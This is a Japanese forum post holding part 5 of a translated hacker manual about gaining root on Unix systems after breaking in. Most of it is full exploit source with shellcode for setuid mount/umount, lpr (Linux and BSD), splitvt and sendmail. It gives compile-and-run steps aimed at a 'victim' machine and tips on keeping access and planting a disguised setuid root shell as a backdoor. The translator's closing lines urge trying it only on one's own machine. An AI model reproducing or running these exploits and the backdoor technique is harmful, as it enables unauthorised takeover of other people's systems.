お子様 UNIX 第5部


 投稿者:soujinin  投稿日:03月10日(火)

   ====================   お子様 UNIX   第5部  =======================

--------------------------
第4章  root を獲得する
Chapter IV
Getting the root account
--------------------------
前に述べたように、ほとんどの場合必要なものは一つのアカウントだ。もし、そのシス
テムで root が獲れなかったら、それを bot を置きたがっている IRC ジャンキーと交
換したり、他のアカウントや八ッキングに役に立つ情報と交換したくなるだろう。そこ
には、君が  root になれない十分な理由がある。彼らのシステムは良く管理され、将
来もそうだろう。アカウントを常に持ち、後で帰ってくるためにログファイルなどの
情報を集める。新しい exploits が出てきた時のために。

その時はシステムから離れる。アカウントを失うリスクを避けるために。ログインして
root を獲れないと、ログをクリーンに出来ないことを思い出す。次にユーザーがログ
インすると、彼はメッセージを見るだろう。

  last login from xxx.com time:0:00 date:xx/xx/xx

---------------------
セクション4A バグ
Section 4A
Bugs
--------------------
いろいろなプログラムのあちこちに多くのバグがある。これを root の獲得に使う事が
できる。システムにゲームがインストールされているだろう。あるいは sendmail も。
これらをアップデートしていなければ、すぐにでも root が手に入る。そうでなくても、
間もなく手に入るようになるだろう。

主な exploits とバグだけ示し、他は Appendix にまとめる。私はここで詳しく説明し、
それで君はシステムの root を獲れるだろう。しかし、下のセクションを良く読み、
行動する前にこのマニュアル全体を良く読み、正しい方法でスタートすること。そう
しなければ、システムに長く留まることは難しい。

-----------------------
セクション4B Exploit
Section 4B
Exploits
-----------------------
umount/mount exploit
ディレクトリ /bin に umount があるか調べる。もし見つからなければ、
サーチしてみる。
find / -name umount -print -xdev
(同じ方法で他のファイルも見つけられる)

ファイルのあるディレクトリに行、こうする。  ls -al um*
もしこのファイルが suid だったら、君はたぶん root を獲れる。

SUID ファイルはオーナーに rws のパーミッションを持つ。
victim:/bin# ls -al um*
-rwsr-sr-x   1 root         8888 Mar 21  1995 umount
victim:/bin#

このマシンなら、下のプログラムをコンパイルすれば root が獲れる。
umount.c
------ cut here
/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT 
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm 
 * /etc/mtab~, if this file exists you can't root with mount until it is 
 * removed.
 * 
 *
 *                                          -ReDragon
 */
#define SIZE 1024
   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }
   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);  
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;              

   for(a=0;a<SIZE+4-strlen(execshell)-r;a++)  /* pad front with NOPs */
      *(ptr++) = 0x90;
   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;  
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}
----------- cut here

**********************************
このファイルをコンパイルするには、victim のマシンで、
  gcc umount.c -o um
とタイプする。
これで um という実行ファイルができる。ファイル名の前に、./ が必要かもしれない。
  ./um
この exploit は番号が必要になるかも知れない。例えば、このように。
 ./um 0  ./um 4 ...../um 8

*************************************
もし失敗したら、lpr を試す。 /usr/bin を調べる。lpr が SUID されていて、
そのシステムで lpr が働いているならうまくいく。
ls -l lpr
Ok suid パーミッションがあったかな?   では、このスクリプトを使う。
*************************************
lpr.linux.c
------------- cut here

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
---------- cut here

***************************
Here is the BSD version
***************************

lpr.bsd.c
--------------------------------------------------------- cut here
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------- cut here
これをコンパイルして実行パーミッション(chmod +x)を降ろし、走らせる。
ファイルオーナーのグループに注意する。コピーしたどんなファイルでも、グループ
は lp となる。chgrp root ファイル名 を確実に実行する。常に ls -l で確認する。

chgrp グループ  ファイル

これを root へのアクセスだけに使うのも良いアイデアだ。bash や sh を別の名前で
コピーして、root:root の suid プログラムにする。
これは将来君に root アクセスを与えてくれる。gid と uid を root として。
root のプロセスとして走るような名前にすること。

*****************
まだ、しばらく使えそうな別のプログラムがある。/usr/bin/splitvt の SUID を
探す。もし,SUID ならこれが使える。
****************************************
sp.c
-------------------------------------------- cut here
/*
 *            Avalon Security Research
 *                          Release 1.3
 *                           (splitvt)
 *
 * Affected Program: splitvt(1)
 *
 * Affected Operating Systems: Linux 2-3.X
 *
 * Exploitation Result: Local users can obtain superuser privileges.
 *
 * Bug Synopsis: A stack overflow exists via user defined unbounds checked
 * user supplied data sent to a sprintf(). 
 *
 * Syntax: 
 * crimson~$ cc -o sp sp.c
 * crimson~$ sp
 * bash$ sp
 * bash$ splitvt
 * bash# whoami
 * root
 *
 * Credit: Full credit for this bug (both the research and the code)
 * goes to Dave G. & Vic M.  Any questions should be directed to
 * mcpheea@cadvision.com . 
 *
 * ----------------------------------------------------------------------------
 */
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
  char eggplant[2048];
  int a;
  char *egg;
  long *egg2;
  char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  char *eggie = realegg;

  egg = eggplant;

  *(egg++) = 'H';
  *(egg++) = 'O';
  *(egg++) = 'M';
  *(egg++) = 'E';
  *(egg++) = '=';

  egg2 = (long *)egg;

  for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;

  egg=(char *)egg2;

  for (a=0;a<0x40;a++) *(egg++) = 0x90;

  while (*eggie)
    *(egg++) = *(eggie++);
  *egg = 0; /* terminate eggplant! */

  putenv(eggplant);

  system("/bin/bash");
}
-------------- cut here
Ok この splitvt はどのようにするか。
1. このファイルをコンパイルする。
2. sp を走らせる。
3. splitvt を走らせる。

これを走らせる前に、
whoami {press enter}
username

これを走らせた後で、
whoami
root

*******************************************************
もし、これらがすべてうまくいかなかったら、これを試す。これは sendmail の
バグだ。バージョン 8.73 から 8.83 で動く。(多分、他でも)
sm.sh
---------- cut here
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here
このファイルを実行可能にする。
chmod +x sm.sh
1. このファイルを実行する。
2. /tmp ディレクトリへ行く。
3. ls -l をタイプして、SUID sh が出来ているか調べる。
   ./sh を実行する。君は root だ。;)

この他にも多くのスクリプトがある。
****************************************************************************


[訳者後記]
Linux には、たくさんのバグがあります。しかし、進歩も早くあっと言う間に
フィックスされます。例の掟やぶりの ping に最も早くパッチを出したのは、
 Linux です。また、いち早くペンティアムのバグにも対応しました。
(バグが多いといっても、まだ MAC のウィルスの多さには負けている?)

さて、自分のマシンで(自分のマシンですよ!)試してみて、どうでした?
結構、楽しめましたか。恐らくあなたが、まめに update していたら、なかな
か成功しなかったのでは?
とは言え、他のプログラム、特に game 関係、X、(悪名高い)sendmail にも
相変わらず大きな穴があるようです。こちらはそれほど早くフィックスされな
いようです。特に game 関係の「root 特権を手放すタイミングの悪さ」による
exploits は後を立ちませんねぇ。(ニコニコ)

次回は、どのようにしたら管理者の仕事を増やさないか、のお話しです。